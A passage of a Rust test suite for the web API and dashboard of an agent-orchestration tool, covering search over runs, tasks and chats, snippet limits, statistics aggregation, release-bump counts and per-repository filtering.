15905 assert_eq!(detail.status, 500);
15906 assert!(
15907 detail.json()["error"]
15908 .as_str()
15909 .is_some_and(|e| e.contains("run.json")),
15910 "the failure names the file to look at: {}",
15911 detail.body
15912 );
15913 let health = f.get("/api/health").await;
15917 assert_eq!(health.json()["runs_unreadable"], 1);
15918 }
15919
15920 #[tokio::test]
15922 async fn search_finds_nested_run_text_ands_terms_and_counts_unreadable() {
15923 let f = Fixture::start().await;
15924 let runs = f.runs();
15925 write_run(&runs, "20260902-140501-aaaa", RunStatus::Merged);
15926 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
15927 let path = runs.join("20260902-140502-bbbb").join("run.json");
15930 let mut v: serde_json::Value =
15931 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
15932 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
15933 std::fs::write(&path, v.to_string()).unwrap();
15934 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
15935 std::fs::write(
15936 runs.join("20260902-140503-cccc").join("run.json"),
15937 "{ not json",
15938 )
15939 .unwrap();
15940
15941 let res = f.get("/api/search?scope=runs&q=quokka").await;
15942 assert_eq!(res.status, 200, "{}", res.body);
15943 let v = res.json();
15944 assert_eq!(v["total"], 1, "{v}");
15945 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
15946 assert_eq!(v["hits"][0]["field"], "text");
15947 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
15948 let parts = v["hits"][0]["snippet"].as_array().unwrap();
15949 assert!(
15950 parts
15951 .iter()
15952 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
15953 "{v}"
15954 );
15955 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
15956 assert_eq!(
15957 flat, "The Quokka leaks across threads",
15958 "whitespace is collapsed"
15959 );
15960
15961 let both = f
15963 .get("/api/search?scope=runs&q=MOBILE%20quokka")
15964 .await
15965 .json();
15966 assert_eq!(both["total"], 1, "{both}");
15967 let neither = f
15968 .get("/api/search?scope=runs&q=quokka%20zebra")
15969 .await
15970 .json();
15971 assert_eq!(neither["total"], 0, "{neither}");
15972 let stmt = f
15974 .get("/api/search?scope=runs&q=mobile%20first")
15975 .await
15976 .json();
15977 assert_eq!(stmt["total"], 2, "{stmt}");
15978 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
15979 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
15980 }
15981
15982 #[test]
15983 fn snippet_ignores_terms_longer_than_the_field() {
15984 let terms = ["ok".to_owned(), "elephant".to_owned()];
15985 let parts = snippet_of("ok", &terms);
15986 assert_eq!(
15987 parts,
15988 vec![SnippetPart {
15989 text: "ok".to_owned(),
15990 hit: true
15991 }]
15992 );
15993 }
15994
15995 #[test]
15996 fn snippet_marks_matches_longer_than_the_window() {
15997 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
15998 let hit_len = |parts: &[SnippetPart]| -> usize {
15999 parts
16000 .iter()
16001 .filter(|p| p.hit)
16002 .map(|p| p.text.chars().count())
16003 .sum()
16004 };
16005 let total =
16006 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
16007
16008 let long = "a".repeat(120);
16009 let parts = snippet_of(&long, std::slice::from_ref(&long));
16010 assert!(hit_len(&parts) > 0, "{parts:?}");
16011 assert!(total(&parts) <= cap);
16012
16013 let ja = "あ".repeat(130);
16014 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
16015 assert!(hit_len(&parts) > 0, "{parts:?}");
16016 assert!(total(&parts) <= cap);
16017
16018 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
16020 let term = format!("ab{}", "c".repeat(100));
16021 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
16022 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
16023 assert!(total(&parts) <= cap);
16024
16025 let text = format!("{}z", "a".repeat(119));
16027 let parts = snippet_of(&text, &["a".repeat(120)]);
16028 assert_eq!(hit_len(&parts), 0, "{parts:?}");
16029 }
16030
16031 #[tokio::test]
16032 async fn search_caps_hits_and_snippet_length() {
16033 let f = Fixture::start().await;
16034 let runs = f.runs();
16035 for n in 0..(SEARCH_MAX_HITS + 5) {
16036 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
16037 }
16038 let v = f.get("/api/search?scope=runs&q=web").await.json();
16039 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
16040 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
16041 assert_eq!(v["truncated"], true);
16042 assert!(
16044 v["hits"]
16045 .as_array()
16046 .unwrap()
16047 .iter()
16048 .all(|h| h["run"]["status"] == "merged")
16049 );
16050
16051 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
16052 let parts = snippet_of(&long, &["needle".to_owned()]);
16053 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
16054 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
16055 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
16056 }
16057
16058 #[tokio::test]
16059 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
16060 let f = Fixture::start().await;
16061 let queue = f.queue();
16062 let mut t = Task::new(
16063 "short title".to_owned(),
16064 "line one\nthe hidden Armadillo detail".to_owned(),
16065 PathBuf::from("/repo/magi"),
16066 Source::Agent {
16067 run: "r1".to_owned(),
16068 node: "chat".to_owned(),
16069 },
16070 );
16071 t.last_error = Some("disk full on /tmp".to_owned());
16072 queue.put(&mut t).expect("file the task");
16073
16074 for (q, want) in [
16075 ("armadillo", 1),
16076 ("disk%20FULL", 1),
16077 ("chat", 1),
16078 ("queued", 1),
16079 ("short%20nothing", 0),
16080 ] {
16081 let v = f
16082 .get(&format!("/api/search?scope=tasks&q={q}"))
16083 .await
16084 .json();
16085 assert_eq!(v["total"], want, "{q}: {v}");
16086 }
16087 for bad in [
16088 "/api/search?scope=tasks&q=",
16089 "/api/search?scope=tasks&q=%20",
16090 "/api/search?scope=chats&q=",
16091 "/api/search?scope=chats&q=%20",
16092 "/api/search?scope=nope&q=a",
16093 "/api/search?q=a",
16094 ] {
16095 assert_eq!(f.get(bad).await.status, 400, "{bad}");
16096 }
16097 }
16098
16099 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
16101 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
16102 .expect("seat value");
16103 let turns: Vec<serde_json::Value> = turns
16104 .iter()
16105 .map(|(who, body)| {
16106 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
16107 })
16108 .collect();
16109 let doc = serde_json::json!({
16110 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
16111 "status": status, "turns": turns,
16112 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
16113 "seat": seat,
16114 });
16115 let dir = f.home.path().join("talks");
16116 std::fs::create_dir_all(&dir).expect("talks dir");
16117 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
16118 }
16119
16120 #[tokio::test]
16121 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
16122 let f = Fixture::start().await;
16123 write_talk(
16124 &f,
16125 "20260901-000001-aaaa",
16126 "open",
16127 &[
16128 (
16129 "operator",
16130 "\n Why does the Pangolin cache expire?\nsecond line",
16131 ),
16132 ("agent", "Because the TTL is thirty seconds."),
16133 ],
16134 );
16135 write_talk(
16136 &f,
16137 "20260901-000002-bbbb",
16138 "closed",
16139 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
16140 );
16141 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
16142
16143 let search = |q: &'static str| {
16144 let f = &f;
16145 async move {
16146 f.get(&format!("/api/search?scope=chats&q={q}"))
16147 .await
16148 .json()
16149 }
16150 };
16151
16152 let v = search("PANGOLIN").await;
16153 assert_eq!(v["scope"], "chats");
16154 assert_eq!(v["total"], 1, "{v}");
16155 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
16156 assert_eq!(v["hits"][0]["field"], "title");
16157 assert_eq!(v["unreadable"], 1, "{v}");
16158 let marked: Vec<&str> = v["hits"][0]["snippet"]
16159 .as_array()
16160 .unwrap()
16161 .iter()
16162 .filter(|p| p["hit"] == true)
16163 .map(|p| p["text"].as_str().unwrap())
16164 .collect();
16165 assert_eq!(marked, ["Pangolin"]);
16166
16167 let v = search("zebra").await;
16169 assert_eq!(v["total"], 1, "{v}");
16170 assert_eq!(v["hits"][0]["field"], "agent");
16171 assert_eq!(search("pangolin%20thirty").await["total"], 1);
16173 assert_eq!(search("pangolin%20zebra").await["total"], 0);
16174 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
16176 assert_eq!(search(q).await["total"], 0, "{q}");
16177 }
16178 assert_eq!(search("second").await["hits"][0]["field"], "operator");
16180 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
16182
16183 let v = f.get("/api/search?scope=nope&q=a").await;
16184 assert_eq!(v.status, 400);
16185 assert!(
16186 v.body.contains("scope must be runs, tasks or chats"),
16187 "{}",
16188 v.body
16189 );
16190 }
16191
16192 #[test]
16193 fn a_question_card_links_a_task_id_to_the_task_page() {
16194 let start = APP_JS
16195 .find("function updateAskCard(")
16196 .expect("updateAskCard exists");
16197 let body = &APP_JS[start..];
16198 let body = &body[..body.find("\n}\n").expect("function end")];
16199 assert!(body.contains("question.run_is_task"));
16200 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
16201 assert!(body.contains("`#/runs/${question.run}`"));
16202 assert!(body.contains("\"task\" : \"run\""));
16203 }
16204
16205 #[test]
16206 fn plain_text_message_surfaces_go_through_linkify() {
16207 assert!(APP_JS.contains("function linkify("));
16208 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
16209 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
16210 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
16211 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
16212 assert!(!APP_JS.contains("innerHTML = text"));
16213 }
16214
16215 #[test]
16216 fn implementation_rate_views_keep_independent_samples() {
16217 for (competitive_n, solo_n) in [(0, 0), (9, 10), (10, 9)] {
16218 let a = stats::AgentStats {
16219 competitive_entered: competitive_n,
16220 competitive_wins: usize::from(competitive_n > 0),
16221 solo_entered: solo_n,
16222 solo_adopted: 2 * usize::from(solo_n > 0),
16223 ..Default::default()
16224 };
16225 let v = serde_json::to_value(AgentStatsView::from(&a)).unwrap();
16226 for (key, n, numerator) in [
16227 ("competitive_win_rate", competitive_n, a.competitive_wins),
16228 ("solo_adoption_rate", solo_n, a.solo_adopted),
16229 ] {
16230 if n == 0 {
16231 assert!(v[key].is_null());
16232 } else {
16233 assert_eq!(v[key]["denominator"], n);
16234 assert_eq!(v[key]["pct"], 100.0 * numerator as f64 / n as f64);
16235 }
16236 }
16237 }
16238 assert!(APP_JS.contains("rate: a.competitive_win_rate"));
16239 assert!(APP_JS.contains("rate: a.solo_adoption_rate"));
16240 assert!(APP_JS.contains("r.rate.denominator < STATS_LOW_N"));
16241 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16242 }
16243
16244 #[test]
16245 fn stats_bars_share_one_id_keyed_plan() {
16246 let start = APP_JS
16247 .find("function statsBarRows(")
16248 .expect("statsBarRows exists");
16249 let body = &APP_JS[start..];
16250 let body = &body[..body.find("\n}\n").expect("function end")];
16251 assert!(body.contains("statsBarPlan(rows)"));
16252 assert!(body.contains("statsAgentTone(row.agent)"));
16253 assert!(!body.contains("candTone(i)"));
16254 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
16255 for root in [
16256 "stats-agents-bars",
16257 "stats-solo-bars",
16258 "stats-reviewers-bars",
16259 ] {
16260 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
16261 }
16262 }
16263
16264 #[test]
16265 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
16266 let start = APP_JS
16267 .find("function renderStatsReviewerScatter(")
16268 .expect("renderStatsReviewerScatter exists");
16269 let body = &APP_JS[start..];
16270 let body = &body[..body.find("\n}\n").expect("function end")];
16271 assert!(body.contains("statsScatterPlan(reviewers)"));
16272 assert!(body.contains("statsAgentTone(d.agent)"));
16273 assert!(APP_JS.contains("function statsScatterPlan("));
16274 assert!(
16275 APP_JS.contains("d.submitted < STATS_LOW_N")
16276 || APP_JS.contains("r.submitted < STATS_LOW_N")
16277 );
16278 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
16279 assert!(APP_CSS.contains(".precision-scatter"));
16280 }
16281
16282 #[test]
16283 fn advisor_reflection_is_drawn_as_stacked_segments() {
16284 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
16285 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
16286 let html = include_str!("../assets/ui/index.html");
16287 assert!(html.contains("Approximate"));
16288 for label in ["reflected strongly", "faint", "no proposal"] {
16289 assert!(html.contains(label));
16290 }
16291 let css = include_str!("../assets/ui/app.css");
16292 for c in ["refl-strong", "refl-faint", "refl-absent"] {
16293 assert!(css.contains(&format!(".{c} {{")));
16294 }
16295 }
16296
16297 #[test]
16298 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
16299 assert!(APP_JS.contains("function statsDailyPlan("));
16300 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
16301 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
16302 }
16303
16304 #[test]
16305 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
16306 let start = APP_JS
16307 .find("function scheduleSearch(")
16308 .expect("scheduleSearch exists");
16309 let body = &APP_JS[start..];
16310 let body = &body[..body.find("\n}\n").expect("function end")];
16311 assert!(body.contains("s.seq += 1"));
16312 }
16313
16314 #[tokio::test]
16319 async fn stats_runs_unreadable_matches_health() {
16320 let f = Fixture::start().await;
16321 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
16322 let broken = f.runs().join("20260902-140502-bad");
16323 std::fs::create_dir_all(&broken).expect("run dir");
16324 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
16325
16326 let stats = f.get("/api/stats").await;
16327 let health = f.get("/api/health").await;
16328
16329 assert_eq!(stats.status, 200);
16330 assert_eq!(stats.json()["totals"]["runs"], 1);
16331 assert_eq!(stats.json()["runs_unreadable"], 1);
16332 assert_eq!(
16333 stats.json()["runs_unreadable"],
16334 health.json()["runs_unreadable"],
16335 "the dashboard and /api/health must never disagree about how many \
16336 runs could not be read"
16337 );
16338 }
16339
16340 #[tokio::test]
16341 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
16342 let f = Fixture::start().await;
16343 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16344 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
16345 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
16346
16347 let totals = &f.get("/api/stats").await.json()["totals"];
16348 assert_eq!(totals["runs"], 3);
16349 assert_eq!(totals["merged"], 1);
16350 assert_eq!(totals["stalled"], 1);
16351 assert_eq!(totals["in_progress"], 1);
16352 assert_eq!(totals["blocked"], 0);
16355 assert_eq!(totals["ready"], 0);
16356 }
16357
16358 #[tokio::test]
16359 async fn stats_advisors_report_proposals_and_reflection() {
16360 use crate::advise::{Advice, AdvisorRecord, Reflection};
16361 use crate::verdict::Proposal;
16362
16363 let f = Fixture::start().await;
16364 let mut state = RunState::new(
16365 PathBuf::from("/repo/magi"),
16366 "main".to_owned(),
16367 "0123456789abcdef".to_owned(),
16368 "task".to_owned(),
16369 Config::default(),
16370 );
16371 state.id = "20260902-140501-a".to_owned();
16372 state.status = RunStatus::Merged;
16373 state.advice = Some(Advice {
16374 records: vec![
16375 AdvisorRecord {
16376 seat: "advisor-1".to_owned(),
16377 agent: "alpha".to_owned(),
16378 proposal: Some(Proposal {
16379 approach: "do it".to_owned(),
16380 key_tradeoff: "speed over memory".to_owned(),
16381 risks: Vec::new(),
16382 touches: Vec::new(),
16383 why_not_naive: "breaks under load".to_owned(),
16384 }),
16385 error: None,
16386 duration_ms: 0,
16387 reflection: Reflection::Strong,
16388 },
16389 AdvisorRecord {
16390 seat: "advisor-2".to_owned(),
16391 agent: "alpha".to_owned(),
16392 proposal: None,
16393 error: Some("timed out".to_owned()),
16394 duration_ms: 0,
16395 reflection: Reflection::Absent,
16396 },
16397 ],
16398 synthesis: Some("blended brief".to_owned()),
16399 });
16400 let dir = f.runs().join(&state.id);
16401 std::fs::create_dir_all(&dir).expect("run dir");
16402 std::fs::write(
16403 dir.join("run.json"),
16404 serde_json::to_string_pretty(&state).expect("serialize run"),
16405 )
16406 .expect("write run.json");
16407
16408 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
16410 let alpha = advisors
16411 .as_array()
16412 .expect("an array")
16413 .iter()
16414 .find(|a| a["agent"] == "alpha")
16415 .expect("alpha row");
16416 assert_eq!(alpha["seated"], 2);
16417 assert_eq!(alpha["proposed"], 1);
16418 assert_eq!(alpha["absent"], 1);
16419 assert_eq!(alpha["strong"], 1);
16420 assert_eq!(alpha["faint"], 0);
16421 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
16422 }
16423
16424 #[tokio::test]
16425 async fn stats_hides_agents_outside_the_roster_unless_all() {
16426 use crate::run::Candidate;
16427 let repo = TempDir::new().expect("repo dir");
16428 std::fs::write(
16429 repo.path().join("magi.toml"),
16430 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
16431 )
16432 .expect("magi.toml");
16433 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
16434 let mut state = RunState::new(
16435 PathBuf::from("/repo/magi"),
16436 "main".to_owned(),
16437 "0123456789abcdef".to_owned(),
16438 "task".to_owned(),
16439 Config::default(),
16440 );
16441 state.id = "20260902-140501-a".to_owned();
16442 state.status = RunStatus::Merged;
16443 for (label, agent) in [('A', "keep"), ('B', "retired")] {
16444 let mut c: Candidate = serde_json::from_value(serde_json::json!({
16445 "index": 0, "label": label.to_string(), "agent": agent,
16446 "branch": "b", "worktree": "/w",
16447 }))
16448 .expect("candidate");
16449 c.label = label;
16450 state.candidates.push(c);
16451 }
16452 let dir = f.runs().join(&state.id);
16453 std::fs::create_dir_all(&dir).expect("run dir");
16454 std::fs::write(
16455 dir.join("run.json"),
16456 serde_json::to_string_pretty(&state).expect("serialize run"),
16457 )
16458 .expect("write run.json");
16459
16460 let agents_of = |v: &serde_json::Value| -> Vec<String> {
16461 v["agents"]
16462 .as_array()
16463 .expect("array")
16464 .iter()
16465 .map(|a| a["agent"].as_str().unwrap().to_owned())
16466 .collect()
16467 };
16468 let hidden = f.get("/api/stats").await.json();
16469 assert_eq!(agents_of(&hidden), ["keep"]);
16470 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
16471 assert_eq!(hidden["totals"]["runs"], 1);
16472
16473 let all = f.get("/api/stats?all=true").await.json();
16474 assert_eq!(agents_of(&all).len(), 2);
16475 assert_eq!(all["retired_hidden"], serde_json::json!([]));
16476 let keep_agent = all["agents"]
16478 .as_array()
16479 .unwrap()
16480 .iter()
16481 .find(|a| a["agent"] == "keep")
16482 .unwrap();
16483 assert_eq!(keep_agent["competitive_entered"], 1);
16484 assert_eq!(keep_agent["competitive_wins"], 0);
16485 assert_eq!(keep_agent["competitive_win_rate"]["pct"], 0.0);
16486 assert_eq!(keep_agent["solo_entered"], 0);
16487 assert_eq!(keep_agent["solo_adopted"], 0);
16488 assert!(keep_agent["solo_adoption_rate"].is_null());
16489 }
16490
16491 #[tokio::test]
16492 async fn stats_release_bumps_split_clean_from_attention() {
16493 use crate::run::ReleaseBump;
16494
16495 let f = Fixture::start().await;
16496
16497 let mut clean = RunState::new(
16498 PathBuf::from("/repo/magi"),
16499 "main".to_owned(),
16500 "0123456789abcdef".to_owned(),
16501 "task".to_owned(),
16502 Config::default(),
16503 );
16504 clean.id = "20260902-140501-a".to_owned();
16505 clean.status = RunStatus::Merged;
16506 clean.release_bump = Some(ReleaseBump {
16507 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
16508 version: Some("1.0.0".to_owned()),
16509 automerge_enabled: true,
16510 merged_directly: false,
16511 local: false,
16512 release: None,
16513 problem: None,
16514 action_required: None,
16515 });
16516
16517 let mut blocked = RunState::new(
16518 PathBuf::from("/repo/magi"),
16519 "main".to_owned(),
16520 "0123456789abcdef".to_owned(),
16521 "task".to_owned(),
16522 Config::default(),
16523 );
16524 blocked.id = "20260902-140502-b".to_owned();
16525 blocked.status = RunStatus::Merged;
16526 blocked.release_bump = Some(ReleaseBump {
16527 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
16528 version: Some("1.0.1".to_owned()),
16529 automerge_enabled: false,
16530 merged_directly: false,
16531 local: false,
16532 release: None,
16533 problem: Some("checks red".to_owned()),
16534 action_required: Some("look at the PR".to_owned()),
16535 });
16536
16537 for state in [&clean, &blocked] {
16538 let dir = f.runs().join(&state.id);
16539 std::fs::create_dir_all(&dir).expect("run dir");
16540 std::fs::write(
16541 dir.join("run.json"),
16542 serde_json::to_string_pretty(state).expect("serialize run"),
16543 )
16544 .expect("write run.json");
16545 }
16546
16547 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16548 assert_eq!(bumps["merged"], 2);
16549 assert_eq!(bumps["recorded"], 2);
16550 assert_eq!(bumps["pr_opened"], 2);
16551 assert_eq!(bumps["automerge_enabled"], 1);
16552 assert_eq!(bumps["needs_attention"], 1);
16553 assert_eq!(bumps["clean"], 1);
16554 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
16555 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
16556 }
16557
16558 #[tokio::test]
16559 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
16560 let f = Fixture::start().await;
16561 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
16562
16563 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
16564 assert_eq!(bumps["merged"], 1);
16565 assert_eq!(bumps["recorded"], 0);
16566 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
16569 assert_eq!(bumps["automerge_rate"], Value::Null);
16572 assert_eq!(bumps["attention_rate"], Value::Null);
16573 }
16574
16575 #[tokio::test]
16576 async fn stats_queue_counts_come_from_the_live_queue() {
16577 let f = Fixture::start().await;
16578 let q = f.queue();
16579 let mut queued = Task::new(
16580 "queued task".to_owned(),
16581 "do it".to_owned(),
16582 PathBuf::from("/repo"),
16583 Source::Human,
16584 );
16585 q.put(&mut queued).expect("put queued");
16586 let mut held = Task::new(
16587 "held task".to_owned(),
16588 "do it later".to_owned(),
16589 PathBuf::from("/repo"),
16590 Source::Human,
16591 );
16592 held.hold_machine(Some("out of attempts".to_owned()));
16593 q.put(&mut held).expect("put held");
16594
16595 let queue = f.get("/api/stats").await.json()["queue"].clone();
16596 assert_eq!(queue["queued"], 1);
16597 assert_eq!(queue["held"], 1);
16598 assert_eq!(queue["running"], 0);
16599 assert_eq!(queue["done"], 0);
16600 assert_eq!(queue["failed"], 0);
16601 assert_eq!(queue["blocked"], 0);
16602 }
16603
16604 #[tokio::test]
16605 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
16606 let f = Fixture::start().await;
16607 let stats = f.get("/api/stats").await;
16608 assert_eq!(stats.status, 200);
16609 assert_eq!(stats.json()["totals"]["runs"], 0);
16610 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
16611 assert_eq!(stats.json()["runs_unreadable"], 0);
16612 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
16613 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
16614 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
16615 assert_eq!(stats.json()["repo"], Value::Null);
16616 }
16617
16618 #[tokio::test]
16619 async fn stats_lists_every_repository_with_runs_recorded() {
16620 let f = Fixture::start().await;
16621 write_run_repo(
16622 &f.runs(),
16623 "20260902-140501-a",
16624 RunStatus::Merged,
16625 "/repos/a",
16626 );
16627 write_run_repo(
16628 &f.runs(),
16629 "20260902-140502-b",
16630 RunStatus::Merged,
16631 "/repos/a",
16632 );
16633 write_run_repo(
16634 &f.runs(),
16635 "20260902-140503-c",
16636 RunStatus::Blocked,
16637 "/repos/b",
16638 );
16639
16640 let stats = f.get("/api/stats").await;
16641 assert_eq!(stats.status, 200);
16642 assert_eq!(stats.json()["totals"]["runs"], 3);
16644 assert_eq!(stats.json()["repo"], Value::Null);
16645
16646 let repos = stats.json()["repos"].clone();
16647 let repos = repos.as_array().unwrap();
16648 assert_eq!(repos.len(), 2);
16649 assert_eq!(repos[0]["repo"], "/repos/a");
16651 assert_eq!(repos[0]["name"], "a");
16652 assert_eq!(repos[0]["runs"], 2);
16653 assert_eq!(repos[1]["repo"], "/repos/b");
16654 assert_eq!(repos[1]["runs"], 1);
16655 }
16656
16657 #[tokio::test]
16658 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
16659 let f = Fixture::start().await;
16660 write_run_repo(
16661 &f.runs(),
16662 "20260902-140501-a",
16663 RunStatus::Merged,
16664 "/repos/a",
16665 );
16666 write_run_repo(
16667 &f.runs(),
16668 "20260902-140502-b",
16669 RunStatus::Blocked,
16670 "/repos/b",
16671 );
16672
16673 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
16674 assert_eq!(stats.status, 200);
16675 assert_eq!(stats.json()["totals"]["runs"], 1);
16676 assert_eq!(stats.json()["totals"]["merged"], 1);
16677 assert_eq!(stats.json()["repo"], "/repos/a");
16678 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
16681 assert_eq!(stats.json()["runs_unreadable"], 0);
16684 }
16685
16686 #[tokio::test]
16687 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
16688 let f = Fixture::start().await;
16689 write_run_repo(
16690 &f.runs(),
16691 "20260902-140501-a",
16692 RunStatus::Merged,
16693 "/repos/a",
16694 );
16695 write_run_repo(
16696 &f.runs(),
16697 "20260902-140502-b",
16698 RunStatus::Merged,
16699 "/repos/b",
16700 );
16701
16702 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
16703 let json = f.get(uri).await.json();
16704 let daily = json["daily"].as_array().expect("daily is an array");
16705 assert_eq!(daily.len(), 30);
16706 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
16707 let mut sorted = dates.clone();
16708 sorted.sort();
16709 assert_eq!(dates, sorted);
16710 for d in daily {
16711 assert_eq!(
16712 d["merged"].as_u64().unwrap()
16713 + d["ready"].as_u64().unwrap()
16714 + d["other"].as_u64().unwrap(),
16715 d["runs"].as_u64().unwrap()
16716 );
16717 }
16718 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
16719 }
16720 }
16721
16722 #[tokio::test]
16723 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
16724 let f = Fixture::start().await;
16725 write_run_repo(
16726 &f.runs(),
16727 "20260902-140501-a",
16728 RunStatus::Merged,
16729 "/repos/a",
16730 );
16731
16732 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
16733 assert_eq!(stats.status, 404);
16734 }
16735
16736 #[tokio::test]
16737 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
16738 let f = Fixture::start().await;
16739 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
16740
16741 let summary = f.get("/api/runs").await.json();
16742 let row = &summary[0];
16743 assert_eq!(row["short"], "a1b2");
16744 assert_eq!(row["status"], "ready");
16745 assert_eq!(row["done"], true);
16746 assert_eq!(row["title"], "Add a web UI");
16747 assert_eq!(row["repo_name"], "magi");
16748 assert_eq!(row["judges"], 3);
16749 assert_eq!(row["winner"], Value::Null);
16750 assert_eq!(row["reviews"], 0);
16751
16752 let detail = f.get("/api/runs/a1b2").await;
16755 assert_eq!(detail.status, 200);
16756 assert_eq!(detail.json()["base_branch"], "main");
16757 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
16758 }
16759
16760 #[tokio::test]
16768 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
16769 let f = Fixture::start().await;
16770
16771 let mut none_run = RunState::new(
16772 PathBuf::from("/repo/magi"),
16773 "main".to_owned(),
16774 "0123456789abcdef".to_owned(),
16775 "Add a web UI".to_owned(),
16776 Config::default(),
16777 );
16778 none_run.id = "20260902-140503-none".to_owned();
16779 none_run.status = RunStatus::Ready;
16780 none_run.merge = Some(crate::run::MergeOutcome {
16781 mode: crate::config::MergeMode::None,
16782 ok: true,
16783 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
16784 empty: false,
16785 });
16786 write_state(&f.runs(), &none_run);
16787
16788 let mut pr_run = RunState::new(
16789 PathBuf::from("/repo/magi"),
16790 "main".to_owned(),
16791 "0123456789abcdef".to_owned(),
16792 "Add a web UI".to_owned(),
16793 Config::default(),
16794 );
16795 pr_run.id = "20260902-140504-prcl".to_owned();
16796 pr_run.status = RunStatus::Ready;
16797 pr_run.merge = Some(crate::run::MergeOutcome {
16798 mode: crate::config::MergeMode::Pr,
16799 ok: false,
16800 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
16801 empty: false,
16802 });
16803 write_state(&f.runs(), &pr_run);
16804
16805 let summary = f.get("/api/runs").await.json();
16806 let rows: std::collections::HashMap<&str, &Value> = summary
16807 .as_array()
16808 .expect("an array")
